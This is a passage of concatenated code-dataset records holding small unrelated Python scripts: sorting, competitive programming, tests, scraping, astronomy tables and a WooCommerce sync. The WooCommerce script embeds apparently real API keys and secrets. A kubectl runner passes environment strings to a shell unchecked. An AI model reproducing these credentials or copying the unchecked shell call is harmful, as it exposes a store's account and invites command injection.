print(caseid,name,method,contentType,path,params,assertion)\n\n\n\n","sub_path":"mylib/sendRequest.py","file_name":"sendRequest.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"354610789","text":"\"\"\"\nChallenge #34 Intermediate\n Your task today is show the implementation of two sorting algorithms Stooge sort and Bogosort in anyway you like!\n\"\"\"\nfrom random import shuffle\n\n\ndef is_sorted(arr):\n for x, y in zip(arr, arr[1:]):\n if x > y:\n return False\n return True\n\n\ndef bogosort(arr):\n shuffle(arr)\n while not is_sorted(arr):\n shuffle(arr)\n return arr\n\n\ndef stooge_sort(arr, j, i=0):\n if arr[j] < arr[i]:\n tmp = arr[j]\n arr[j] = arr[i]\n arr[i] = tmp\n if j - i + 1 > 2:\n t = (j - i + 1) // 3\n stooge_sort(arr, i, j - t)\n stooge_sort(arr, i + t, j)\n stooge_sort(arr, i, j - t)\n\n return arr\n\n\nif __name__ == '__main__':\n l = [3, 1, 5, 4, 2]\n print(bogosort(l))\n print(stooge_sort(l, len(l) - 1))\n","sub_path":"challenge_0034.py","file_name":"challenge_0034.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"166393282","text":"# https://atcoder.jp/contests/abc146/tasks/abc146_c\nimport sys\nsys.setrecursionlimit(2147483647)\nINF=float(\"inf\")\nMOD=10**9+7\ninput=lambda :sys.stdin.readline().rstrip()\n\ndef bisection(l,r,f,left=True,discrete=True):\n eps=1 if discrete else 10**-12\n if((not left)^f(r)): return r if left else r+1\n elif(left^f(l)): return l-1 if left else l\n while(r-l>eps):\n h=(l+r)//2 if discrete else (l+r)/2\n if((not left)^f(h)): l=h\n else: r=h\n return (l+r)/2 if not discrete else l if left else r\n\nfrom math import log10\n\ndef resolve():\n a,b,x=map(int,input().split())\n def check(n):\n return a*n+b*(int(log10(n))+1)<=x\n print(bisection(1,10**9,check))\nresolve()\n","sub_path":"ABC146/c_buy_an_integer.py","file_name":"c_buy_an_integer.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"293170530","text":"import os, subprocess, string, sys;\n\nenvironment_var = os.getenv('PLUGIN_KUBECTL_COMMANDS', '')\n\nreturncode = 0\nif environment_var:\n commands = string.split(environment_var, \",\")\n\n for command in commands:\n try:\n p = subprocess.Popen('kubectl ' + str(command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=os.environ)\n (out,err) = p.communicate()\n if p.returncode == 0:\n print (\"command kubectl %s succeeded, returned: %s\" % (str(command),str(out)))\n elif p.returncode <= 125:\n print (\"command kubectl %s failed, exit-code=%d error = %s\" % (str(command), p.returncode, str(err)))\n returncode = p.returncode\n elif p.returncode == 127:\n print (\"Not found\")\n returncode = p.returncode\n else:\n sys.exit(\"'%s' likely crashed, shell retruned code %d\" % (cmd,e.returncode))\n except OSError as e:\n print(\"Execution failed:\", e)\n\nif returncode > 0:\n sys.exit(1)\n","sub_path":"python/run_commands.py","file_name":"run_commands.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"146595974","text":"#!/usr/bin/python3\n\"\"\"Unittest for base file: class and methods\"\"\"\n\nimport pep8\nimport unittest\nimport os\nimport json\nfrom models import base\nfrom models.base import Base\nfrom models.rectangle import Rectangle\nfrom models.square import Square\n\n\nclass Test_Base_outputs(unittest.TestCase):\n \"\"\"Test_Base_outputs test for Base class\"\"\"\n\n def test_id_setting(self):\n \"\"\"test_id_setting method that test the setting of id\n and it's output\"\"\"\n Base._Base__nb_objects = 0\n\n base_1 = Base()\n self.assertEqual(base_1.id, 1)\n\n base_2 = Base()\n self.assertEqual(base_2.id, 2)\n\n base_3 = Base(4)\n self.assertEqual(base_3.id, 4)\n\n base_4 = Base()\n self.assertEqual(base_4.id, 3)\n\n base_5 = Base(-4)\n self.assertEqual(base_5.id, -4)\n\n base_6 = Base(None)\n self.assertEqual(base_6.id, 4)\n base_6 = Base(None)\n self.assertEqual(base_6.id, 5)\n\n def test_to_json_string(self):\n \"\"\"test_to_json_string test the output of the staticmethod\n of Base class\"\"\"\n Base._Base__nb_objects = 0\n\n python_dict = {'id': 1, 'x': 3, 'y': 2, 'width': 1, 'height': 2}\n json_string = Base.to_json_string([python_dict])\n self.assertEqual(type(json_string), str)\n self.assertEqual(type(python_dict), dict)\n\n # test empty dict\n python_dict = {}\n json_string = Base.to_json_string(python_dict)\n self.assertEqual(type(json_string), str)\n self.assertEqual(type(python_dict), dict)\n\n def test_save_to_file(self):\n \"\"\"test_save_to_file test the output of the classmethod\"\"\"\n Base._Base__nb_objects = 0\n\n # test if the file was created\n Rec1 = Rectangle(2, 3)\n Rec2 = Rectangle(3, 4)\n Rectangle.save_to_file([Rec1, Rec2])\n self.assertEqual(os.path.exists(\"Rectangle.json\"), True)\n\n Sq1 = Square(3)\n Sq2 = Square(4)\n Square.save_to_file([Rec1, Rec2])\n self.assertEqual(os.path.exists(\"Square.json\"), True)\n\n def test_from_json_string(self):\n \"\"\"test_from_json_string test the output of staticmethod\"\"\"\n Base._Base__nb_objects = 0\n\n python_dict_list = []\n dict1 = {'id': 1, 'x': 4, 'y': 2, 'width': 1, 'height': 2}\n dict2 = {'id': 2, 'x': 3, 'y': 2, 'width': 1, 'height': 2}\n python_dict_list.append(dict1)\n python_dict_list.append(dict2)\n json_string = Rectangle.to_json_string(python_dict_list)\n list_output = Rectangle.from_json_string(json_string)\n self.assertEqual(list_output, python_dict_list)\n\n python_dict_list = []\n json_string = Rectangle.to_json_string(python_dict_list)\n list_output = Rectangle.from_json_string(json_string)\n self.assertEqual(list_output, python_dict_list)\n # Consider input not as a json string\n\n def test_create(self):\n \"\"\"test_create test output of classmethod\"\"\"\n Base._Base__nb_objects = 0\n\n Rec1 = Rectangle(3, 2)\n Rec2_copy = Rectangle.create(**Rec1.to_dictionary())\n self.assertEqual(Rec1.to_dictionary(), Rec2_copy.to_dictionary())\n self.assertEqual(Base._Base__nb_objects, 2)\n\n Sq1 = Square(4)\n Sq2_copy = Square.create(**Sq1.to_dictionary())\n self.assertEqual(Sq1.to_dictionary(), Sq2_copy.to_dictionary())\n self.assertEqual(Base._Base__nb_objects, 4)\n\n # testing from not create instance\n Base._Base__nb_objects = 0\n\n dict_R1 = {'width': 3, 'height': 7, 'x': 3, 'y': 4, 'id': 2}\n Rec1 = Rectangle.create(**dict_R1)\n self.assertEqual(Rec1.to_dictionary(), dict_R1)\n self.assertEqual(Base._Base__nb_objects, 1)\n\n dict_S1 = {'size': 6, 'x': 1, 'y': 3, 'id': 5}\n Rec1 = Rectangle.create(**dict_R1)\n self.assertEqual(Rec1.to_dictionary(), dict_R1)\n self.assertEqual(Base._Base__nb_objects, 2)\n\n def test_load_from_file(self):\n \"\"\"test_load_from_file test classmethod output\"\"\"\n\n Base_Base__nb_objects = 0\n R1 = Rectangle(4, 7)\n R2 = Rectangle(6, 9)\n R1_d = R1.to_dictionary()\n R2_d = R2.to_dictionary()\n list_obj = [R1, R2]\n Rectangle.save_to_file(list_obj)\n list_instances = Rectangle.load_from_file()\n\n self.assertIsInstance(list_instances[0], Rectangle)\n self.assertIsInstance(list_instances[1], Rectangle)\n\n self.assertDictEqual(list_instances[0].to_dictionary(), R1_d)\n self.assertDictEqual(list_instances[1].to_dictionary(), R2_d)\n\n\nclass TestBasepep8(unittest.TestCase):\n \"\"\"Validate pep8\"\"\"\n\n def test_pep8(self):\n \"\"\"test for base file and test_base file pep8\"\"\"\n style = pep8.StyleGuide(quiet=True)\n base = \"models/base.py\"\n test_base = \"tests/test_models/test_base.py\"\n result = style.check_files([base, test_base])\n self.assertEqual(result.total_errors, 0)\n\n\nclass TestDocs(unittest.TestCase):\n \"\"\"test docstrings for base and test_base files\"\"\"\n\n def test_module(self):\n \"\"\"check module docstrings\"\"\"\n self.assertTrue(len(base.__doc__) > 0)\n\n def test_class(self):\n \"\"\"check class docstrings\"\"\"\n self.assertTrue(len(Base.__doc__) > 0)\n\n def test_method(self):\n \"\"\"check method docstrings\"\"\"\n for func in dir(Base):\n self.assertTrue(len(func.__doc__) > 0)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"0x0C-python-almost_a_circle/tests/test_models/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541174809","text":"import re\nimport operator \nimport json\nfrom collections import Counter\nfrom nltk.corpus import stopwords\nimport string\nimport vincent\nimport pandas\nimport tweepy\n \nwhile True: \n\tfname = 'pythonhate.json'\n\n\temoticons_str = r\"\"\"\n\t\t(?:\n\t\t\t[:=;] # Eyes\n\t\t\t[oO\\-]? # Nose (optional)\n\t\t\t[D\\)\\]\\(\\]/\\\\OpP] # Mouth\n\t\t)\"\"\"\n \n\tregex_str = [\n\t\temoticons_str,\n\t\tr'<[^>]+>', # HTML tags\n\t\tr'(?:@[\\w_]+)', # @-mentions\n\t\tr\"(?:\\#+[\\w_]+[\\w\\'_\\-]*[\\w_]+)\", # hash-tags\n\t\tr'http[s]?://(?:[a-z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-f][0-9a-f]))+', # URLs\n \n\t\tr'(?:(?:\\d+,?)+(?:\\.?\\d+)?)', # numbers\n\t\tr\"(?:[a-z][a-z'\\-_]+[a-z])\", # words with - and '\n\t\tr'(?:[\\w_]+)', # other words\n\t\tr'(?:\\S)' # anything else\n\t]\n \n\ttokens_re = re.compile(r'('+'|'.join(regex_str)+')', re.VERBOSE | re.IGNORECASE)\n\temoticon_re = re.compile(r'^'+emoticons_str+'$', re.VERBOSE | re.IGNORECASE)\n \n\tdef tokenize(s):\n\t\treturn tokens_re.findall(s)\n \n\tdef preprocess(s, lowercase=False):\n\t\ttokens = tokenize(s)\n\t\tif lowercase:\n\t\t\ttokens = [token if emoticon_re.search(token) else token.lower() for token in tokens]\n\t\treturn tokens\n\n\tpunctuation = list(string.punctuation)\n\tstop = stopwords.words('english') + punctuation + ['rt','via','RT']\n\n\tdates_ITAvWAL = []\n\n\twith open(fname, 'r') as f:\n\t\tcount_all=Counter()\n\t\tgeo_data ={\n\t\t\t\t\"type\":\"FeatureCollection\",\n\t\t\t\t\"features\":[]\n\t\t\t}\n\t\tfor line in f:\n\t\t\ttry:\n\t\t\t\ttweet = json.loads(line)\n\t\t\t\t# Create a list with all the terms\n\t\t\t\t#terms_only = [term for term in preprocess(tweet['text']) \n\t\t\t\t#if term not in stop and\n\t\t\t\t#not term.startswith(('#', '@'))]\n\t\t\t\tif tweet['coordinates']:\n\t\t\t\t\t#print(\"we are in new loop\")\n\t\t\t\t\tgeo_json_feature={\n\t\t\t\t\t\t\"type\": \"Feature\",\n\t\t\t\t\t\t\"geometry\":tweet['coordinates'],\n\t\t\t\t\t\t\"properties\":{\n\t\t\t\t\t\t\t\"text\": tweet['text'],\n\t\t\t\t\t\t\t\"created_at\": tweet[\"created_at\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t#print(\"finished loop\")\n\t\t\t\t\tgeo_data['features'].append(geo_json_feature)\n\t\t\t\t#terms_only = [term for term in preprocess(tweet['text']) if term.startswith('#')]\n\t\t\t\t#if '#' in terms_only:\n\t\t\t\t\t#print(\"in loop\")\n\t\t\t\t\t#dates_ITAvWAL.append(tweet[\"created_at\"])\n\t\t\t\t\t#print(\"finished loop\")\n\t\t\t\t# Update the counter\n\t\t\t\t#count_all.update(terms_only)\n\t\t\t\t#word_freq = count_all.most_common(20)\n\t\t\t\t#labels, freq = zip(*word_freq)\n\t\t\t\t#data = {'data': freq, 'x': labels}\n\t\t\t\t#bar = vincent.Bar(data, iter_idx='x')\n\t\t\t\t#bar.to_json('term_freq.json')\n\t\t\t\t# a list of \"1\" to count the hashtags\n\t\t\t\t#ones = [1]*len(dates_ITAvWAL)\n\t\t\t\t# the index of the series\n\t\t\t\t#idx = pandas.DatetimeIndex(dates_ITAvWAL)\n\t\t\t\t# the actual series (at series of 1s for the moment)\n\t\t\t\t#ITAvWAL = pandas.Series(ones, index=idx)\n\t\t\t\t#per_minute = ITAvWAL.resample('1Min', how='sum').fillna(0)\n\t\t\t\t#time_chart = vincent.Line(per_minute)\n\t\t\t\t#time_chart.axis_titles(x='Time', y='Freq')\n\t\t\t\t#time_chart.to_json('time_chart.json')\n\t\t\t\t\n\t\t\texcept: pass\n\t\t# Print the first 5 most frequent words\n\t\t#print(count_all.most_common(5))\n\t\t#print(dates_ITAvWAL)\n\t\t#print(ones)\n\t\t#print(idx)\n\t\t#print(ITAvWAL)\n\t\t#print(per_minute)\n\twith open('geo_datahate.json', 'w') as fout:\n\t\tfout.write(json.dumps(geo_data, indent=4))\n\tprint(\"the end\")","sub_path":"filterandgetlocationhate.py","file_name":"filterandgetlocationhate.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"181258083","text":"from astropy.io import fits as pyfits\nimport numpy as np\nfrom galaxyzoo2 import fits_path\n\ngz2_full_data_file = fits_path+'gz2_original_extra_s82norm_table_sample.fits'\np = pyfits.open(gz2_full_data_file)\ngzdata = p[1].data\np.close()\n\npdisk = gzdata['t01_smooth_or_features_a02_features_or_disk_weighted_fraction']\npnotedge = gzdata['t02_edgeon_a05_no_weighted_fraction']\nnbar = gzdata['t03_bar_a06_bar_weight']\npbar = gzdata['t03_bar_a06_bar_weighted_fraction']\nredshift = gzdata['REDSHIFT']\n\nklm = ((pdisk*pnotedge) >= 0.25) & (nbar >= 10) & (pbar >= 0.5) & (redshift <= 0.01)\n\n\ncol1 = pyfits.Column(name = 'objid', format='A18', array=gzdata['objid_1'][klm])\ncol2 = pyfits.Column(name = 'p_bar', format='E', array=pbar[klm])\ncol3 = pyfits.Column(name = 'petror50_r', format='E', array=gzdata['PETROR50_R'][klm])\ncol4 = pyfits.Column(name = 'petror90_r', format='E', array=gzdata['PETROR90_R'][klm])\ncol5 = pyfits.Column(name = 'p_disk', format='E', array=pdisk[klm])\ncol6 = pyfits.Column(name = 'p_notedge', format='E', array=pnotedge[klm])\ncol7 = pyfits.Column(name = 'n_bar', format='E', array=nbar[klm])\ncol8 = pyfits.Column(name = 'redshift', format='E', array=redshift[klm])\n\nprimary_hdu = pyfits.PrimaryHDU(np.array((10,10)))\nhdulist = pyfits.HDUList([primary_hdu])\n\ntb1_hdu = pyfits.new_table(pyfits.ColDefs([col1,col2,col3,col4,col5,col6,col7,col8]))\ntb1_hdu.name = 'GZDATA'\n\nhdulist.append(tb1_hdu)\n\nhdulist.writeto(fits_path+'klm_evla_bars_gas.fits',clobber=True) \n\n\"\"\"\nRemaining steps to send data to Karen:\n\nIn TOPCAT, convert the `objid` column to a long integer by using parseLong($1)\nExport file from TOPCAT as VOTable\nUpload VOTable to CasJobs SDSS-II site\nCross-match data using SQL query:\n\n SELECT KLM.*, G.modelmag_r, log10(G.expAB_r) as log_expAB_r, G.ra, G.dec\n into mydb.klm_all \n from mydb.klm2 as KLM\n JOIN GALAXY as G on G.objid = KLM.objid\n\nDownload data as FITS or CSV file.\n\"\"\"\n","sub_path":"python/klm_evla_bars_gas.py","file_name":"klm_evla_bars_gas.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"174782316","text":"import os\nimport pprint\nfrom configparser import ConfigParser\nimport pyodbc as pyodbc\nimport schedule\nimport time\nfrom woocommerce import API\nimport json\nfrom pantheonArtikli import pantheon_artikli, id_pantheon_artikala\nfrom woocommerceArtikli import wc_artikli_za_poredjenje, id_woocommerce_artikala\nfrom poredjenjeArtikala import razlika\n\nstart_time = time.time()\n\nwcapi = API(\n url=\"https://shop.aporia.app\",\n consumer_key=\"ck_b60aa7be8132d949e8c32dc0f9a80187b4a5f155\",\n consumer_secret=\"cs_d0a6868e24896fdc20ab4dad590f20d0bb26b51e\",\n version=\"wc/v3\",\n wp_api=True,\n query_string_auth=True,\n timeout=30\n)\n\n# ################################################################################################################\n# artikli koji imaju u pantheonu a nemaju na shopu, znaci treba ih dodati\n# ################################################################################################################\n\nid_za_insert = list(set(id_pantheon_artikala) - set(id_woocommerce_artikala))\nprint(id_za_insert)\nprint('Broj artikala za insert:', len(id_za_insert))\n\nartikli_za_insert = []\nfor ident in id_za_insert:\n for artikal in pantheon_artikli:\n if artikal['sku'] == ident:\n artikli_za_insert.append(artikal)\n\n# print('Artikli koji su za insert su:', artikli_za_insert)\n\n#################################################################################################################\n# Update artikala na Woocommerce #\n#################################################################################################################\ndef updateWcArtikli():\n brojac = 1\n for i in razlika:\n if 'id' in i:\n id = i['id']\n sifra_artikla = i['sku']\n wcapi.put(f\"products/{id}\", i).json()\n print(f'Update artikal br. {brojac}, id: {id}, sifra: {sifra_artikla}')\n brojac += 1\n\n print('Update-ovano je:', brojac-1,'artikala')\n\n#################################################################################################################\n# Dodavanje artikala na Woocommerce #\n#################################################################################################################\n\ndef postToWc():\n for artikal in artikli_za_insert:\n wcapi.post(\"products\", artikal).json()\n print('Insertovan je:', artikal['name'], ', sifra:', artikal['sku'])\n \npostToWc()\nupdateWcArtikli()\n\nprint(\"--- %s seconds ---\" % (time.time() - start_time))","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"214255686","text":"# -*- coding: utf-8 -*-\nfrom tornado.concurrent import run_on_executor\nfrom tornado.gen import coroutine\n\nfrom apps.common.handlers.base import BaseHandler\nfrom apps.crond.model import CrondQueues\n\n\nclass QueueHandler(BaseHandler):\n # 查询所有队列\n @coroutine\n def get(self, *arg):\n if arg:\n self.set_status(404)\n self.write(\"404: Not Found.\")\n else:\n yield self.get_queues()\n\n @run_on_executor\n def get_queues(self):\n try:\n rows = self.db.query(\n CrondQueues.id, CrondQueues.queue, CrondQueues.exchange, CrondQueues.routing_key, CrondQueues.remark\n ).all()\n data = [dict(id=row[0], queue=row[1], exchange=row[2], routing_key=row[3], remark=row[4]) for row in rows]\n self.write_data(data)\n except:\n self.write_message(3, \"查询数据库错误\")\n raise Exception(\"查询数据库错误\")\n\n finally:\n self.db.close()\n\n # 增加队列\n @coroutine\n def post(self):\n if self.check_args_length <= 4:\n queue = self.get_json_arg(\"queue\")\n exchange = self.get_json_arg(\"exchange\")\n routing_key = self.get_json_arg(\"routing_key\")\n remark = self.get_json_arg(\"remark\")\n yield self.add_queue(queue, exchange, routing_key, remark)\n else:\n self.write_message(3, \"POST参数错误\")\n\n @run_on_executor\n def add_queue(self, queue, exchange, routing_key, remark):\n try:\n exist_key = self.db.query(CrondQueues.routing_key).filter(\n CrondQueues.exchange == exchange, CrondQueues.routing_key == routing_key).limit(1).all()\n exist_queue = self.db.query(CrondQueues.queue).filter(\n CrondQueues.exchange == exchange, CrondQueues.queue == queue).limit(1).all()\n if exist_key:\n self.write_message(1, \"路由键\" + routing_key + \"已绑定交换机\" + exchange)\n elif exist_queue:\n self.write_message(1, \"队列\" + queue + \"已绑定交换机\" + exchange)\n else:\n new_queue = CrondQueues(queue=queue, exchange=exchange, routing_key=routing_key, remark=remark)\n self.db.add(new_queue)\n self.db.commit()\n self.write_message(1, \"队列添加成功\")\n except Exception:\n self.db.rollback()\n self.write_message(3, \"查询数据库错误\")\n raise Exception(\"查询数据库错误\")\n finally:\n self.db.close()\n\n # 删除队列\n @coroutine\n def delete(self, id):\n yield self.del_queue(id)\n\n @run_on_executor\n def del_queue(self, id):\n try:\n self.db.query(CrondQueues).filter(CrondQueues.id == id).delete(synchronize_session=False)\n self.db.commit()\n self.write_message(1, \"队列已删除\")\n except:\n self.db.rollback()\n self.write_message(3, \"查询数据库错误\")\n raise Exception(\"查询数据库错误\")\n finally:\n self.db.close()\n","sub_path":"apps/crond/handlers/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"645179118","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n#read the sequence\nseq='ATGCGACTACGATCGAGGGCCAT'\nseq=','.join(seq) \ncdna=''\n#turn the sequence into a list\nlist=seq.split(',')\n#get the complementary sequence\nfor i in list:\n if i=='A':\n cdna=\"T\"+cdna\n elif i=='C':\n cdna=\"G\"+cdna\n elif i=='G':\n cdna=\"C\"+cdna\n elif i=='T':\n cdna=\"A\"+cdna\n# output \nprint(cdna)\n\n","sub_path":"Practical8/RC.py","file_name":"RC.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"525467926","text":"# Program to compare two images on the basis of Edge Histogram Descriptor (EHD)\nimport tkinter as tk\nfrom tkinter import filedialog\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pyehd as ehd\nfrom PIL import Image\n\n# Get file name for img1\nroot = tk.Tk()\nroot.withdraw()\nfile_path1 = filedialog.askopenfilename()\nfile_name1 = os.path.basename(file_path1)\n# Reading Image 1\nimg1 = plt.imread(file_path1)\n# Get file name for img2\nroot = tk.Tk()\nroot.withdraw()\nfile_path2 = filedialog.askopenfilename()\nfile_name2 = os.path.basename(file_path2)\nimg2 = plt.imread(file_path2)\n# Function findehd() to get EHD vector\n\n# Finding EHD1\nehd1 = ehd.findehd(img1)\n# Finding EHD2\nehd2 = ehd.findehd(img2)\n\nfig, axs = plt.subplots(nrows=2, ncols=2)\naxs[0,0].imshow(img1)\nplt.title('Image 1')\naxs[0,1].bar([1,2,3,4,5], axs[80:85])\naxs.set_title('Global Bin of Image 1')\naxs[1,0].imshow(img2)\nplt.title('Image 2')\naxs[1,1].bar([1,2,3,4,5], axs[80:85])\naxs.set_title('Global Bin of Image 2')\n\nplt.figure(2)\nehd_plot1, = plt.plot(ehd1,color='r')\nehd_plot2, = plt.plot(ehd2,color='b')\nplt.title('Comparing EHD1 and EHD2')\nplt.legend([ehd_plot1, ehd_plot2],[\"EHD1\", \"EHD2\"])\n\n# L2 Distance between EHD1 and EHD2\nD2 = np.sqrt(np.sum((ehd1-ehd2)**2))\nnp.disp('L2 Distance = %1.2f' % D2)\n# L1 Distance between EHD1 and EHD2\nD1 = np.sum(np.abs(ehd1-ehd2))\nnp.disp('L1 Distance = %1.2f' % D1)","sub_path":"EHD_Test.py","file_name":"EHD_Test.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"422411862","text":"# from urllib.request import urlopen\n# from bs4 import BeautifulSoup\n\n# html = urlopen(\"http://www.pythonscraping.com/pages/warandpeace.html\", )\n# bsObj = BeautifulSoup(html, features=\"html5lib\")\n# nameList = bsObj.findAll(\"span\", {\"class\": \"green\"})\n# text1 = bsObj.findAll(id = \"text\")\n# # for name in nameList:\n# # print(name.get_text())\n\n# print(text1)\n\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nfrom urllib.error import HTTPError\n# from urllib.error import URLError\n\n# try:\n# html = urlopen('http://www.pythonscraping.com/pages/page1.html')\n# # bs = BeautifulSoup(html, 'html.parser')\n# # bs = BeautifulSoup(html, 'lxml')\n# except HTTPError as e:\n# print(e)\n# except URLError as e:\n# print('the server could not be found')\n# else:\n# print('it worked')\n# bs = BeautifulSoup(html, 'html5lib')\n# print(bs.h1)\n\n\ndef getTitle(url):\n try:\n html = urlopen(url)\n except HTTPError as e:\n return None\n try:\n bs = BeautifulSoup(html.read(), 'html.parser')\n title = bs.body.h1\n except AttributeError as e:\n return None\n return title\n\n\ntitle = getTitle('http://www.pythonscraping.com/pages/page1.html')\nif title == None:\n print('Title could not fount')\nelse:\n print(title)\n","sub_path":"Python基础/Python网络数据采集/bs4demo2-1.py","file_name":"bs4demo2-1.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"599145320","text":"import argparse\nimport imdb\nimport codecs\n\ndef get_songs( id ):\n \"\"\" get all songs for tv show from IMDB\n \n retrieve all songs for a tv show from IMDB. Uses the subsection \n 'soundtrack' in section 'Did You Know?' to get the title and artist of\n the song.\n \n Args:\n id: IMDB-ID of the tv show without 'tt', e.g. '0702964'\n Returns:\n * list of songs, where entries are dictionaries with following keys:\n season, episode, artist, title\n * title of the show \n \"\"\"\n \n # get all episodes\n ia = imdb.IMDb()\n show = ia.get_movie(id)\n \n ia.update(show, 'episodes')\n episodes = show['episodes']\n\n all_songs = []\n\n for s in episodes: \n print(\"\\nSeason %d\" % s)\n for e in episodes[s]: \n print(\" Episode %d\" % e) \n episode = episodes[s][e]\n # Get soundtrack for episode\n ia.update(episode,'soundtrack')\n try:\n soundtrack = episode['soundtrack']\n except:\n print(\" (no soundtrack)\")\n continue\n \n \"\"\" soundtrack is a list of tracks. Each track is a dictionary\n with one entry. The key contains the title and the value is \n a dictionary that contains more information like the artist \"\"\" \n \n for track in soundtrack: \n for title in track: \n # use the entire string as fallback for artist\n artist = \" \".join(track[title])\n for info in track[title]:\n # use either 'performed by', 'sung by' or\n # 'written and performed by' as artist\n if info.endswith(\"performed by\") or info == u'sung by':\n artist = track[title][info]\n \n entry = {'season': s,\n 'episode': e,\n 'artist': artist,\n 'title': title}\n \n print( \" %s - %s\" % (artist,title) )\n all_songs.append(entry) \n return all_songs, show['title']\n \ndef write_songs_to_file( path, all_songs ):\n try:\n w = codecs.open(path, \"w\", \"utf-8\")\n for song in all_songs:\n ep = 'S{0:0>2}E{1:0>2}'.format(song['season'],song['episode'])\n w.write(\"%s;%s - %s\\n\" % (ep, song['artist'], song['title'] ) )\n except Exception as e:\n print(\"Error: Couldn't write songs to file: %s\" % e)\n finally:\n w.close()\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser(description='Get soundtrack of TV Show')\n parser.add_argument('id',help='IMDB ID of TV Show (minus \"tt\")')\n args = parser.parse_args() \n (all_songs,title) = get_songs(args.id)\n write_songs_to_file( title + '.txt', all_songs)\n","sub_path":"source/files/tvtunes.py","file_name":"tvtunes.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"428864536","text":"#!/usr/bin/python3\nimport requests\n\n#data = {\"nome\" : \"Leonardo\"}\n#data = {\"nome\" : \"Maria Madalena\", \"email\" : \"mamada@ig.com\"}\n\nresponse = requests.get('http://127.0.0.1:5000/usuarios')\ndata = response.json()\n#tentar printar o ID e o nome dos usuarios\n\n#print ('{0:.>10}{1:.>30}'.format('ID','NOME'))#testar\nfor u in data ['usuarios']:\n if u ['id'] % 2==0:\n print(u['id'],u ['nome']) #busca os nomes e id's\n\n \n\n\n#response = requests.post('http://127.0.0.1:5000/usuarios', json=data)\n#response = requests.put('http://127.0.0.1:5000/usuarios/7', json=data)\n\n#response = requests.delete('http://127.0.0.1:5000/usuarios/7', json=data)\n\n#Tentar executar a rota \"delete\" de um usuário qualquer\n\n","sub_path":"requisicoes.py","file_name":"requisicoes.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"52987498","text":"import datetime\nimport logging\nimport os\nfrom os import path\n\nfrom django import template\n\nfrom configs.settings import STATIC_URL, STATICFILES_DIRS\n\nregister = template.Library()\nlogger = logging.getLogger(__name__)\n\nstatic_url_cache = {}\n\n\n@register.filter\ndef replace_str(value):\n return value.replace(\"\\'\", \"\\\"\")\n\n\n@register.simple_tag\ndef static_url(file_name):\n # value = static_url_cache.get(file_name)\n # if value is None or DEBUG:\n value = calculate_url(file_name)\n return value\n\n\ndef calculate_url(file_name):\n entry_name = file_name\n try:\n key = '#root#'\n if key in file_name:\n file_name = file_name.split(key, 1)[1]\n file_path = path.join(STATICFILES_DIRS[0], entry_name.replace(key, ''))\n prefix = ''\n else:\n file_path = path.join(STATICFILES_DIRS[0], file_name)\n prefix = STATIC_URL\n\n file_modified = calculate_file_name(path.join(STATICFILES_DIRS[0], file_path))\n if file_modified != 'error':\n file_modified = file_modified[: 16]\n value = '%s%s?v=%s' % (prefix, file_name, file_modified)\n # logger.info(\"Caching url '%s' for file '%s'\", value, file_name)\n except Exception as e:\n if hasattr(e, 'errno') and e.errno == 21: # is a directory\n value = STATIC_URL + file_name\n logger.error(\"Caching url '%s' for directory %s\", value, file_name)\n else:\n raise Exception('Unable to calculate md5 for {} because {}', file_name, e)\n static_url_cache[entry_name] = value\n return value\n\n\ndef calculate_file_name(file_path):\n\n try:\n temp = str(datetime.datetime.fromtimestamp(os.path.getmtime(file_path)))\n except FileNotFoundError:\n temp = 'error'\n if temp != 'error':\n temp = temp.replace(' ', '_')\n return temp\n # with open(file_path, 'rb') as fh:\n # m = hashlib.md5()\n # while True:\n # data = fh.read(8192)\n # if not data:\n # break\n # m.update(data)\n # return m.hexdigest()\n","sub_path":"pters_project/login/templatetags/static_url.py","file_name":"static_url.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"257749548","text":"# coding:utf8\n__author__ = '613108'\n\n\ndef saveScreenShot(url='http://shop115634117.taobao.com', 